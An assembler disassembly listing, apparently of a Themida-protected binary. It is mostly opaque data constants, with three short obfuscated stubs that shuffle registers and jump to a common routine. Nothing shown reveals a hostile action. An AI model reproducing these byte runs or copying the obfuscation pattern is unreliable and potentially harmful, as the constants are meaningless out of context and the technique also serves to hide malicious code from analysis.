		dd 0D49BE42Fh, 7891B9D4h, 2C521507h, 8FBBD6F4h,	5C150778h
		dd 54110B36h, 3Ch, 0FDD327FCh, 0E8C7C4DFh, 0FE24E75Ah
		dd 0C80C91E0h, 60686905h, 0EC06CD14h, 0BBA889B4h, 0B801506Ch
		dd 0E31B60ADh, 0A33E3803h, 28AE67BDh, 2132E1E5h, 9DB8D60Eh
		dd 0E7142EA5h, 2CC2046h, 0ACCA115Dh, 0D8F3226Dh, 0E123CCF2h
		dd 4C134B71h, 3F0D0732h, 0A269B000h, 0AE025D88h, 376FB405h
		dd 0DA78C719h, 36CEBFB9h, 14C5C843h, 0DB1501F9h, 66F2AFB0h
		dd 0CBF1E75Ah, 0D71E6EADh, 0A5EC3CF7h, 0BE67BBDEh, 4862296Ch
		dd 51A0F210h, 0DD4133C8h, 1436510Eh, 0D7E71474h, 4D4E79B1h
		dd 0E16D46C4h, 0BABA81A7h, 0B8E32C7Bh, 2355EFB7h, 6CB8F7E1h
		dd 19445E25h, 76946ABEh, 5A41FE5Bh, 44C110E7h, 0CD95BD94h
		dd 3B613C67h, 4A93DE1Dh, 29753E1Fh, 0A0E7145Ch,	0C6057492h
		dd 0C50A5B77h, 0E5ACE4FEh, 9B96A0CBh, 0E53C601Ch, 3Dh
		dd 0FDD327B3h, 58728DDFh, 0BE123CCh, 6782BAE5h,	0E75AE822h
		dd 7D723841h, 757F6FA7h, 7AD01F3Dh, 7274CF85h, 2216CECDh
		dd 77D3AD07h, 1C6B6B4Ch, 0EDBF22CAh, 0B5DC07A1h, 28h, 0FDD3275Dh
		dd 203B8DDFh, 0E123CC2Ah, 2D74C0B9h, 64C9CAF5h,	7FE75AE6h
		dd 0CEE93B59h, 0E714D5FCh, 0CE8FD425h, 0B89C7DA8h, 74BB0B4Ah
		dd 436893ADh, 42E5B0F7h, 0B3FCD26h, 3606554h, 0C520000h
		dd 0CF1ED9B9h, 9EEBA686h, 6DBE7959h, 3B8D4828h,	976D18F8h
		dd 6E4E91E3h, 3F1F68B3h, 0DED3484h, 0DFBF0652h,	705A755Bh
		dd 0F3E71DFFh, 115DD2C6h, 1B6DACCAh, 0DFCCADD8h, 7F4B6693h
		dd 0ECE123CCh, 0CC85C5E0h, 4066E123h, 0FFF0D008h, 9CB7D5ABh
		dd 0E75AE58Bh, 0B496B103h, 37E714D5h, 0E50BE611h, 0F13888C7h
		dd 0B905102Ah, 9D664772h, 0E714D5D1h, 5B9CBAC8h, 3C5FA1D6h
		dd 36AAh, 80D5C00h, 0D22D018Fh,	27809CC7h, 0C4DFFDD3h
		dd 0E75AECDBh, 1313DA00h, 3C5784D4h, 0E714D30Eh, 547FB7DDh
		dd 14D30B53h, 52707EE7h, 5FAC2011h, 121603Ch, 4A2E0000h
		dd 4974BB0Bh, 0F9AED824h, 1182120Bh, 0B908265Eh, 0B795666Ch
		dd 7D5E89BFh, 19183E90h, 45030275h, 0E0E0A7DFh,	2F035691h
		dd 0A2BDFD49h, 0E12382A8h, 0B2DD153Bh, 0F914418Dh, 0E12382D1h
		dd 6D346C92h, 0B5DD2E6Dh, 201A96E3h, 0A9C4FC5Ah, 0B250A7A9h
		dd 1A3F6A0Eh, 10A787CEh, 0E1231161h, 0F6C2EC38h, 84212F20h
		dd 1C65B0BBh, 5974C6E4h, 0E1238B71h, 0A7A1CCF2h, 9259A0ECh
		dd 25721B6Fh, 3B8AA8E0h, 0A22ECEFBh, 86D65B86h,	808D5C43h
		dd 2EF82D48h, 9162F11h,	0BE8BA6DEh, 2DE75A23h, 0E2362707h
		dd 4D9CEE0Ch, 0EF2C76DDh, 0D3D4FF91h, 0E16A2A18h, 5E76C706h
		dd 6893CB12h, 0A49678Dh, 92AC73BAh, 9EF02F67h, 0B2FE3D5Bh
		dd 8B46406Bh, 122BF639h, 0CB3FC3C3h, 1D02514h, 7CC20000h
		dd 3F8E4929h, 0E5B16F6h, 0DD2EE9C9h, 0ABFDB898h, 0E7DD8868h
		dd 0DEBE0153h, 0AF8FD823h, 7D5DA4F4h, 4F2F76C2h, 80CAE5CBh
		dd 63E71DF8h, 0B5D4236h, 0E12DE8C8h, 9DECBA9Ah,	3FEE13FFh
		dd 5CA8B363h, 27CEEA15h, 0C4DFFDD3h, 0E75AECDBh, 4A13DA00h
		dd 0E714D37Ch, 41084B9Dh, 0F6BD0454h, 0C54E6C48h, 25668492h
		dd 3C5FAC0Ch, 0CD74h, 115D4200h, 3F5AACCAh, 0E123CC0Bh
		dd 0A687B2D8h, 5D2467B9h, 23D1ED94h, 2168B4E1h,	0E7347341h
		dd 96C1DBA2h, 17DE2571h, 0ACCAA0F4h, 5AF2B891h,	428FCEE7h
		dd 5FA6F2FDh, 324D5934h, 0E714E218h, 27EE3581h,	1534C0Dh
		dd 0A5DDF7BEh, 489C8D6Dh, 0C9155472h, 1496482h,	0E2E714E2h
		dd 3E5991BCh, 0E16A541Ch, 4C8BA9CFh, 5A99B7FAh,	9F99C409h
		dd 844F92E4h, 3FC3A6B5h, 0E398873Eh, 0D5000000h, 0A15C3C8Fh
		dd 6E290952h, 41FCDC21h, 10CBABF0h, 0F09B7BBEh,	0D1146610h
		dd 0A2EB36F1h, 70B707C2h, 4289D590h, 0DDF8DE62h, 0E71DF9EDh
		dd 5D5D517Eh, 1AE8C80Bh, 0CC9DADC8h, 284EE123h,	458CD8FDh
		dd 5099E827h, 77488635h, 497414E8h, 115D9D4Fh, 0CA1603CAh
		dd 561D64B0h, 97E6043Ch, 89447F5Dh, 302A558Dh, 11341362h
		dd 2851B425h, 784EA2FDh, 7DC9085Ah, 2A556F36h, 61E72A29h
		dd 7593B9E7h, 9FBAE536h, 0E71DF7ABh, 13DA1238h,	0EDCEF9h
		dd 0D28D6DB4h, 0AF783F86h, 4BABC5B5h, 0DD395733h, 1496491h
		dd 888B6FC5h, 7EA631DDh, 7BA16235h, 56956343h, 0DEF8BF06h
		dd 0FB428EB3h, 0B1F64734h, 0BF025493h, 9CC8FBF8h, 3331D9C1h
		dd 33EFD0FBh, 0ADF95573h, 7FCB8666h, 3827138h, 2A000000h
		dd 175D3628h, 0C410FDC4h, 79C9B67Dh, 337E6B32h,	0E43623EAh
		dd 9BEDDAA1h, 53A49158h, 0D5A470Eh, 0C51401C8h,	56C3B57Ch
		dd 0BA52E689h, 4, 835AD601h, 348704EEh
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		push	7EF3h
		mov	[esp], ebx
		push	ecx
		push	eax
		mov	eax, 6DAD1A26h
		mov	ecx, eax
		pop	eax
		or	ecx, 33547706h
		xor	ecx, 11F26091h
		xor	ecx, 683136E9h
		mov	esi, ecx
		pop	ecx
		push	esp
		mov	ebx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esi
		mov	[ebx+8], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dw 0C695h
		dd 3E3690B8h, 0FFC50306h, 0CA3AD9E0h, 0F9103442h, 794C190Eh
		dd 6E3BDF69h, 59493F73h, 92B52327h, 0FEE62411h,	3704EB7Ah
		dd 0E958B414h, 4C0h, 0A383D61Ch, 705099E8h, 432368B5h
		dd 12F23788h, 0E2C20557h, 5BAD4937h, 327D3818h,	0FE4E09E9h
		dd 0D01CD7B7h, 3F25A989h, 1DFB2624h, 0A498C5E7h, 8EBB0B4Ah
		dd 23CC5773h, 0B6EE14E1h, 85AAD5EFh, 3E2BF239h,	0EC9A9ECh
		dd 0C7B47BC2h, 806D347Bh, 3421E831h, 3479CAE4h,	541B536Dh
		dd 0AD11667h, 4E95E5F0h, 26449287h, 0D7F5D19Dh,	93D82968h
		dd 0B0F74368h, 7EC515D0h, 4C93E39Eh, 44D9885h, 430297E6h
		dd 5A75BA07h, 84AFBF53h, 927E7A3h, 36165DADh, 21E82F7Bh
		dd 23C80F58h, 0F00EE8E1h, 289082AFh, 35FE36h, 4ACC0000h
		dd 4B76B90Bh, 0CC93DA26h, 23CCB903h, 9EBC96E1h,	288CD45Dh
		dd 1AC36h, 5D7A0000h, 11FEC50Eh, 0C5B279C2h, 0BA682F74h
		dd 1564C0DEh, 0E531ECCCh, 5D0CBE9Eh, 1401C80Bh,	14B57CC5h
		dd 52A4001Eh, 28742F0Fh, 3784C3E1h, 0E6112BF2h,	86CB1805h
		dd 97DC2968h, 68768B6Ch, 8B38094Ah, 83483628h, 0FA000000h
		dd 4CDFBDABh, 8EB9CE65h, 0C80B5D72h, 0D41B6BAAh, 8EDBC8A9h
		dd 0F8D48249h, 0E92C7EDAh, 0B9FC4E09h, 4094C9Bh, 84D4E802h
		dd 3A8B7859h, 0F1192EF5h, 0FD1B62B2h, 23DBE8E2h, 2A557BE1h
		dd 407FEE0Ch, 737DA8F1h, 3628A1CEh, 5FB2h, 0B5D8000h, 265EA5F5h
		dd 0EA105F5Fh, 0B9EFDFADh, 0A5F51A45h, 5AAA975Eh, 0E3AAEF40h
		dd 0DDCA91C9h, 0C6824992h, 4C5FE806h, 3271E0FEh, 0BED89FE6h
		dd 0D91C6E93h, 0E5D47F9h, 963A9DE2h, 56367245h,	0F08FAA24h
		dd 0AD74AC48h, 23469BE4h, 7C9A74E1h, 397CCE0Dh,	172D040Eh
		dd 1533629h, 21000000h,	4CB105Dh, 0BD84CB17h, 0B4234101h
		dd 0CC034762h, 0BAE0E123h, 0D81D6A8Fh, 0DDB307F8h, 0D127A4BFh
		dd 9EC4E75Ah, 579EEAD7h, 5670BC77h, 0C58CC409h,	14C8B0FCh
		dd 0DDFB49E7h, 0ED083581h, 0E714C8DDh, 5030688Eh, 0DE2F4995h
		dd 0ADB8D299h, 0BFDD155Eh, 22E93080h, 0FCFCDD08h, 61286BBDh
		dd 3C0E2947h, 0AFE714C8h, 0ED395E89h, 483EDFA6h, 6F6CBB2Ah
		dd 3F401CFAh, 80CCF11Ch, 78B95939h, 83C6022h, 141h, 7D4D68BAh
		dd 0EEE7146Eh, 27819DC8h, 0C4DFFDD3h, 0E75AFAA3h, 5E4B1238h
		dd 30EBCB12h, 0E9D69DE4h, 0A28F569Dh, 5C491055h, 5DA4F40Ah
		dd 1B695E25h, 0BFB574FDh, 0A3F332A1h, 507B955Ch, 0B898DF2Bh
		dd 0B7BF9BEAh, 9A074EAAh, 56CC656Fh, 64B63C60h,	141A0149h
		dd 9EBCE2E7h, 141A4783h, 0D3FE24E7h, 5199h, 0EFFC4B00h
		dd 0F14F9CD1h, 27D8F41Fh, 93E200DEh, 5D2DC14Ch,	2C648F93h
		dd 324A9BDAh, 39649CE1h, 23F9C238h, 34FB21E1h, 90BBE534h
		dd 6AFEB142h, 0E500F464h, 88B31F29h, 231E4387h,	274509E1h
		dd 506E4C95h, 231FC535h, 200026E1h, 8C63h, 0D3270B00h
		dd 0CCCEFC17h, 779DE123h, 9DD51C6Ch, 0A8F1407Fh, 71BCC7E1h
		dd 0AAC5FD28h, 0E75AE4FDh, 39390026h, 3964A9FAh, 6381C814h
		dd 70BBD324h, 0E28EF27h, 0E22EE9E3h, 95D4D49Bh,	203A014Ah
		dd 0DBE3E702h, 5A80E714h, 0DA672E2Fh, 0E432E714h, 0D71E6AC6h
		dd 0DCB206F7h, 1493A3BEh, 2248E155h, 0F8226E5Bh, 5687DE92h
		dd 0FBF52B3Ah, 0AE14CCE7h, 0DC990C8h, 499D2F4Dh, 0D50D54A0h
		dd 2A9A9CB7h, 2B51E76Bh, 377ECE0Dh, 312B5670h, 0FDD3277Fh
		dd 58728DDFh, 0BE123CCh, 6782BAE5h, 0E7620357h,	1F1FE60Ch
		dd 0FB98B2CDh, 424BE71Dh, 36BF4746h, 6B96CEAFh,	0D3B3FA46h
		dd 0BE85CC18h, 93DCDCF5h, 0C8F54539h, 97CC9DADh, 0F0284EB9h
		dd 0A4ED3C29h, 28463CDDh, 0D9F7D39Fh, 0AEA317Dh, 0F5BC034Fh
		dd 0AB72B708h, 0B5112FEFh, 0B2042269h, 97CCB397h, 512730B9h
		dd 0AD64A84Ch, 231D4880h, 0ED51C68h, 0D1Fh, 1A28C700h
		dd 0CC9DADC8h, 284EE123h, 175DE1FDh, 0C410FDC4h, 79C9B67Dh
		dd 337E6B32h, 0E43623EAh, 9BEDDAA1h, 53A49158h,	0D5A470Eh
		dd 0C51401C8h, 68C3B57Ch, 2A43h
		db 89h,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	ebx
		mov	ebx, 638961CBh
		xor	ebx, 0BF24AE9h
		or	ebx, 4ACA4795h
		neg	ebx
		push	ecx
		mov	ecx, 933AA708h
		xor	ebx, ecx
		pop	ecx
		mov	eax, ebx
		pop	ebx
		push	7E32h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	eax
		pop	dword ptr [esi+8]
		mov	esi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		dw 5C0Fh
		dd 3E3B6CB8h, 0FFC50306h, 46AF2FE0h, 10412751h,	4D440A65h
		dd 588C9B54h, 0F7CAE04Eh, 0E3E43D61h, 0DA09D92Bh, 281D396Ch
		dd 80DB9F3Eh, 0B9902655h, 1282690Fh, 1A9C4842h,	0EA04EB37h
		dd 0E914A6D1h, 50Dh, 9F7FD218h,	6C4C95E4h, 3F1F64B1h, 0EEE3384h
		dd 0DEBE0153h, 57A94D33h, 2E793414h, 0FA4A05E5h, 0CC18D3B3h
		dd 3B21A585h, 1DF02A20h, 988CB9E7h, 0A8F7115Dh,	0CC6C5E79h
		dd 0D9FFE123h, 5ADDDAA1h, 83BD360h, 0CA91C901h,	68488BDDh
		dd 531A61ADh, 0CD31A66h, 0C087D01Fh, 0BC183612h, 0B90B2970h
		dd 2377AC9Eh, 0F7463FE1h, 95CDE7AEh, 63A2706Ah,	7DA2CD12h
		dd 4B06E62Dh, 0EDB4FBh,	0E9A56CB5h, 5D9C0B29h, 300C70Ch
		dd 5C095730h, 0A5D008C1h, 9E93080h, 0F4BB024Eh,	23CE622Bh
		dd 0EB347FE1h, 0A3EC3724h, 66B7C2DCh, 0C3B95A21h, 754F1CA5h
		dd 8F1B1657h, 60653628h, 33000000h, 3CA115Dh, 23CC6E3Ah
		dd 0D1EFC9E1h, 288CA190h, 8B92E136h, 0CF598480h, 11A0DA05h
		dd 52000000h, 1483803h,	0F85DF1A4h, 0AB5E712Ah,	9BB7E21Ah
		dd 0FEC50E5Dh, 2C73BFFEh, 5E8DDC01h, 23CC0743h,	86BEE4E1h
		dd 3C81D2BFh, 498EDF1Eh, 0B38F3D1Eh, 0A1EA3995h, 0B2F74483h
		dd 86D28D87h, 5DAD5F3Fh, 1401C80Bh, 14B57CC5h, 52A4001Eh
		dd 12612F0Fh, 34E666EDh, 4C9DA8A8h, 6BB7DC07h, 23705D24h
		dd 3F77C00Bh, 0E93B6378h, 23E7FCCEh, 2B496FE1h,	23E73A10h
		dd 5883A9E1h, 66DB1C3Ah, 1A3628B5h, 7Bh, 0E6FB4AE8h, 0D6739383h
		dd 0A7F91E49h, 63B09D64h, 75C1001Eh, 137D132Eh,	0A413485Ch
		dd 5EAB9879h, 16655219h, 0C31106CDh, 74501CA5h,	82A8FA56h
		dd 75005307h, 0F9D91179h, 8BA9EC3Eh, 8DB8014Ch,	296EBFACh
		dd 0E6254D62h, 6F895095h, 0C7082644h, 3628F47Ah, 5106h
		dd 2E79B800h, 0D9041EE5h, 0C80B5DBDh, 7DC41401h, 5573C1B6h
		dd 4664A7F9h, 0CCF1D9F4h, 4C72E123h, 4A752721h,	4873BC0Bh
		dd 0C48BD423h, 23CCB2FBh, 0BB044FE1h, 73BC07F4h, 2C88AFACh
		dd 61028781h, 1EA7C589h, 18597751h, 36295119h, 167h, 105D3500h
		dd 0CB1704CBh, 0DB276684h, 0CC886994h, 4592EE0Ch, 2593E200h
		dd 778A149Ch, 3C2D2752h, 0A2F412E8h, 9F60BA53h,	0D4FF3F25h
		dd 5A1976D3h, 8CFF5E7h,	0A888CF1Bh, 3C87A1EDh, 0DA122CF3h
		dd 7E4A13h, 4593E714h, 387FCB27h, 0A519D58h, 0E00A5643h
		dd 0C4077CBh, 0E9B0E84Eh, 4DE93848h, 0F98346Ch,	1D67637Eh
		dd 0DE04E714h, 84F9BA6h, 0DEFC2741h, 0D11864C0h, 5DE051F1h
		dd 40A03C60h, 6E000001h, 0DFFDD327h, 5AFAA3C4h,	0BF8CDBE7h
		dd 0FB428C88h, 0E9E1FC1Ah, 7AE71490h, 284E2954h, 0E1287461h
		dd 0CDFA4601h, 149098B2h, 0ED254BE7h, 0A6ED3926h, 2A483EDFh
		dd 5B3B82CEh, 5FE876BBh, 63BD0C3Ch, 39729A23h, 6DE9234Eh
		dd 0B7000000h, 76B90B4Ah, 0E6A7F04Bh, 4B8714F6h, 0BBD911ADh
		dd 0BC7C4E69h, 0C9EFE123h, 0AF4B669Eh, 0BCE123BDh, 0EC397896h
		dd 9BC6E0A7h, 4D68BABAh, 0E123BC7Dh, 9C9DC8EEh,	0E123BCAEh
		dd 0B2446226h, 1B6D8B69h, 2A458CDCh, 5E4901B0h,	5E5F8A9Bh
		dd 0E123E1BCh, 0D5D3A6AFh, 0E3AAEF3Ch, 0BC52AEC9h, 2748D2ABh
		dd 0D30B2DD1h, 88FEBB9Bh, 0A6000000h, 0DFFDD327h, 0D1C3490h
		dd 2E097130h, 40DFFAE0h, 39719CEFh, 5A7E711Eh, 0ACFE3DE7h
		dd 3D633E69h, 0F63D8976h, 54E99D8h, 0FFF9243Eh,	0EAB1F844h
		dd 14405221h, 0D3F13FE7h, 4E42B77h, 0CBE9BF13h,	5585A2B0h
		dd 0A73841E1h, 51F5C67h, 5A99B7EFh, 0BC9DC80Dh,	186983CFh
		dd 18D49BD3h, 54A83A58h, 4E155AABh, 0C3DEFC34h,	0E76BC0BFh
		dd 96E8062Ch, 38212944h, 9CC2E714h, 143895B5h, 253056E7h
		dd 0ADC78ED5h, 27D68882h, 0C4DFFDD3h, 0E76208BEh, 1FCF81D0h
		dd 0B64D40C6h, 1DC4AF9Bh, 0DE163CE7h, 94B2D8B3h, 71B60342h
		dd 1DC4408Ah, 0D2FD23E7h, 71B804F1h, 438AD691h,	556AB37Ch
		dd 0EAC6F582h, 0F00B5DCCh, 0F58554DAh, 13386389h, 0E5A080C7h
		dd 0E5345299h, 8B188961h, 0E83180CFh, 0A4CF0721h, 4085D6C3h
		dd 0DFFDBD79h, 0D01D3783h, 72AAC48Bh, 81CA1554h, 55A15C56h
		dd 96A1F00Eh, 0EF848FF8h, 65543560h, 0Fh, 0BF0B4A0Dh, 74C4B178h
		dd 144C662Dh, 5D9D8FE9h, 10FDC417h, 0C9B67DC4h,	7E6B3279h
		dd 3623EA33h, 0EDDAA1E4h, 0A491589Bh, 5A470E53h, 1401C80Dh
		dd 0C3B57CC5h, 81E38953h, 4C3h,	4BF5700h, 29000000h, 1C875FFBh
		dd 89515C24h, 4C181E1h,	81000000h, 4E9h, 240C8700h, 242C895Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	esi
		mov	esi, 63E3C45h
		push	esi
		pop	ebp
		pop	esi
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		pop	dword ptr [ecx+8]
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_544AAA
; ---------------------------------------------------------------------------
		db 32h,	53h, 0FCh
		dd 40C5B80Eh, 0C503063Eh, 0F587E0FFh, 452B4183h, 9D33841h
		dd 46940E93h, 4EB1C0Dh,	925D496h, 581E9h, 4EA1E700h, 1B64B36Eh
		dd 0EE33803Bh, 0BD02530Eh, 8DD022DDh, 780202ADh, 4803E326h
		dd 19D4B4FDh, 0E7A282C9h, 0F074549Bh, 8DDBEF0Ah, 5B88E71Dh
		dd 0C00B4A67h, 0EBB3B077h, 84E90E66h, 3D628DC5h, 0E3E3AAF1h
		dd 0A140B894h, 0A9D4DCF8h, 0EE093284h, 0E1232ADCh, 115E698Fh
		dd 0F9B494CCh, 0B29F66ADh, 6B581F66h, 5E0CD31Ch, 0CFFB1668h
		dd 9CE1232Ah, 0F2D4B76h, 402067B3h, 0D0EE3585h,	37FE4591h
		dd 2AF8F21Dh, 2B5699EBh, 516FB606h, 2AE6E4FFh, 5F85E123h
		dd 1B665334h, 754F0BD2h, 839EE736h, 25FEE43Bh, 708EB9D9h
		dd 5FA6F652h, 3178C47Fh, 20D4A16Ah, 5933E123h, 0DE7DCC3Bh
		dd 0E231CF58h, 7BB6C0EBh, 5362931h, 7Bh, 0CA115DD3h, 0CC6E3A03h
		dd 0EFC9E123h, 8CA190D1h, 92E13628h, 619DC1A4h,	0D6103B57h
		dd 0Ah,	2BB03988h, 0FA026E69h, 0FB4AB3CFh, 0CCE36A36h
		dd 406590F8h, 0A3A7C2F1h, 0F6E123B7h, 7CA263AAh, 2B7D7D44h
		dd 23B73A10h, 7883A9E1h, 90B5E029h, 4431F841h, 39E7AEF3h
		dd 81D03F5Dh, 0F343774Ah, 0F00B2919h, 0E12306DAh, 13386389h
		dd 0CD9B7BC4h, 35FC418Eh, 7FCBF01Bh, 5DA65838h,	1401C80Bh
		dd 0C5E7CC5h, 23CCD9F1h, 45918AE1h, 0BA9BC6FEh,	0A9052319h
		dd 79341457h, 0F870032Dh, 0E4683849h, 0ABF8E5ACh, 7C8A9F66h
		dd 829DEF5Eh, 0E1232748h, 0C0CAF51Bh, 36297581h, 66FFh
		dd 2372B100h, 5D93AFDAh, 1401C80Bh, 0DBB82C7h, 65B71331h
		dd 78C50422h, 27526C33h, 0DD20722Dh, 93D82916h,	4B94DFCCh
		dd 1469784h, 0D9F7453Ah, 0F10F1D50h, 288A91B0h,	4CEF36h
		dd 4ABD0000h, 97EFE2FBh, 0FB26545Eh, 7A4184D6h,	2FF63D8Dh
		dd 5FCEEC3Ah, 628DD420h, 83D5EB3Dh, 0E9492540h,	0B8BF3CB0h
		dd 5DEEA080h, 0FEFEC50Eh, 652C73BFh, 561F204Bh,	0B1E123CCh
		dd 0B978B9D7h, 0C736288Ch, 6, 0A6EF3A79h, 0B4A5F7Bh, 96B077C0h
		dd 0E1F9466Bh, 69834A91h, 317D6A31h, 428DCCEAh,	31EDCEF9h
		dd 0AAF75371h, 40948565h, 0C346FE87h, 72286D4h,	0E1238AC3h
		dd 37427AA0h, 4D6BA3ECh, 5A979932h, 809BEDE7h, 0E7148E4Ah
		dd 7A3B84CFh, 284E2954h, 357ACB0Ah, 4829546Eh, 0F386F948h
		dd 9869617Ch, 0D4FAE714h, 0A71B5DB9h, 0D3FDE68Ch, 0C3EE722Eh
		dd 2B0B529Eh, 0DCF72470h, 0E7143DEEh, 0DD9EE133h, 22617FB7h
		dd 0AFC990D5h, 8EDAA384h, 2BE7143Dh, 0D2D299DEh, 143D93B7h
		dd 1F2A50E7h, 8C48BD4h,	8EA12A48h, 7AC62240h, 89D61533h
		dd 641F1944h, 1D0AD118h, 22C38AD1h, 66B20E2Ch, 3D2C1E39h
		dd 2475E714h, 0D6251EDFh, 74ACC68Dh, 75BC5C3Ch,	0B3C607Dh
		dd 17Bh, 0E62F7EBDh, 0D3279FBBh, 0A3C4DFFDh, 0DBE75AFAh
		dd 0E25C6E89h, 0E90FE714h, 0F6BDE3BEh, 51A3BD09h, 0F2D470Eh
		dd 14E2D6F4h, 376F95E7h, 9509C57h, 0D5F04242h, 0E714E2F5h
		dd 255076h, 0B9A66DB4h,	6D5A216Ah, 6412D922h, 0E0FB6A88h
		dd 0E714E2EAh, 5C1B5379h, 0A0EC4866h, 58EC3B59h, 0D0ED315Dh
		dd 42E2DC07h, 3C601FEFh, 7791h,	0DE275F00h, 53C7E200h
		dd 33E123CDh, 5E79A2F4h, 0E123CC6Ch, 76A1D9FFh,	0E5AE759Bh
		dd 0E123CCE5h, 0E1A8F13Ch, 617CA7F4h, 0E123CC69h, 0D59CD4FAh
		dd 97203E34h, 4BDDFBBFh, 0EB062402h, 0E123CD0Fh, 405BADFFh
		dd 0E123CC0Ah, 0FECCB3D9h, 6DE123CCh, 0CC044661h, 0C1E7E123h
		dd 8A835E89h, 0A0BEF63Fh, 0CC17334Eh, 3B8AE123h, 0E83831F2h
		dd 88C0DAA1h, 98A6635Dh, 4E000000h, 0DFFDD327h,	5AE4DBC4h
		dd 13DA00E7h, 6D89D413h, 0F711D81Bh, 1E63B4BFh,	3B82CEF3h
		dd 5A3E8D5Bh, 3D1ED35Fh, 428EB3DEh, 246B34FBh, 0F5E7146Bh
		dd 0E12D89A7h, 0F03D7C9Ah, 958680ABh, 0FB4D6B41h, 6ABC8EA9h
		dd 0B7D2E714h, 0E7146A93h, 43692A50h, 6AC00A25h, 7DA3E714h
		dd 0A8905152h, 0DAD3E155h, 0F29E608Ah, 0FABB2293h, 0A9E1FBC2h
		dd 62A9F5E2h, 0C605DF9Bh, 7D6A3174h, 83AEE62Dh,	99D84765h
		dd 6BE70249h, 8DE30E75h, 0E53994BFh, 1DD6F10Fh,	4EE76B40h
		dd 27964828h, 0C4DFFDD3h, 0E7620E6Fh, 98B2CD1Fh, 4BE71D8Dh
		dd 82CB1A25h, 8F567C57h, 2F0F56A2h, 1AE12874h, 1211B51h
		dd 43613DF6h, 74549BE7h, 5F266DB9h, 15DC2172h, 1F7B9959h
		dd 2F6E8CD3h, 0B9D39ADDh, 8DD9948Eh, 9EE92846h,	49748E55h
		dd 37968h, 28210000h, 0C4175D36h, 7DC410FDh, 3279C9B6h
		dd 0EA337E6Bh, 0A1E43623h, 589BEDDAh, 0E53A491h, 0C80D5A47h
		dd 7CC51401h, 8952C3B5h, 4C281E2h, 81000000h, 4EAh, 24148700h
		dd 2414895Ch, 81E18951h, 4C1h, 4E98300h, 5C240C87h, 68240C89h
		dd 74CEh, 0B9243489h, 2AC77D7Ch, 5507E1C1h, 3032FBDh, 0E5814D55h
		dd 1735128Eh, 18FEE581h, 0F5812F59h, 65C45193h,	0E8F58145h
		dd 310545AEh, 8B545DE9h, 0C4812434h, 4,	8904EC83h, 3481240Ch
		dd 7720924h, 8468F18h, 9087681h, 0FF180772h, 815E2434h
		dd 4C4h, 240C8B00h, 81E68956h, 4C6h, 4C68100h, 87000000h
		dd 0E95C2434h, 0FFF9376Ah, 0E72F0D38h, 4FB88B40h, 3063E46h
		dd 90E0FFC5h, 9853AD4Eh, 6F7D5571h, 9174376Eh, 176DEFB7h
		dd 7258C85Bh, 932C066Ch, 554DB2DCh, 0B4781247h,	4418BACh
		dd 0F92EDAD1h, 2677663Ch, 9334B3A2h, 892C4378h,	2041869Bh
		dd 216F6814h, 8E7C21B8h, 0E211AA72h, 996BA5C1h,	3F78F906h
		dd 3D1BA65Bh, 2E72DCABh, 8315B0FEh, 2E167880h, 291013CCh
		dd 0E859722Ah, 5C64B4FCh, 8F1A7CADh
		db 42h,	31h, 2Ch
byte_5B13BF	db 8Dh			; DATA XREF: Themida_:0053FBACo
		dd 3E48278Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 8C1E172Dh, 8941A496h, 3718758Dh
		dd 0AE906h, 0D9490000h,	0CF9004ADh, 98BDE702h, 850Fh, 85C70000h
		dd 6371195h, 5E50h, 0E857006Ah,	3, 5FC35F20h, 4247C89h
		dd 4244481h, 15h, 3BC35747h, 0DAB70F90h, 23819D89h, 85C70637h
		dd 6370F81h, 0
		dd 0FFD08B66h, 37309DB5h, 5D858906h, 0FF06372Fh, 37129195h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 6A64FAEAh, 1995FF00h, 8B063732h,	367EEBC0h
		dd 89128E11h, 86397E61h, 0D574DC35h, 0D8DD1330h, 1C5E4E4Ah
		dd 0CB78311Dh, 7CFDC8ECh, 0B2FA50C1h, 0F7B5399Fh, 11BD3660h
		dd 3054664Bh, 27340F98h, 0C5758679h, 385D4AF1h,	0E3F6688Ch
		dd 248160D8h, 22B2AFFBh, 0F96FB05Fh, 2618D32Fh,	5995BE8Ch
		dd 0EFD354F7h, 75830B53h, 91052710h, 0B414336Dh, 0F8680EA5h
		dd 0E478C43Ah, 0E352E0CAh, 99AB9F54h, 0C15FB916h, 0D0FE0851h
		dd 3FA81A40h, 5304EB72h, 0E964440Ah, 542h, 2F0F62A8h, 0FCDC2574h
		dd 0CFAFF441h, 9E7EC314h, 6E4E91E3h, 0E739FDC3h, 0BE09C4A4h
		dd 8ADA9575h, 5CA86343h, 0CBB13515h, 1D849AB0h,	281C49E7h
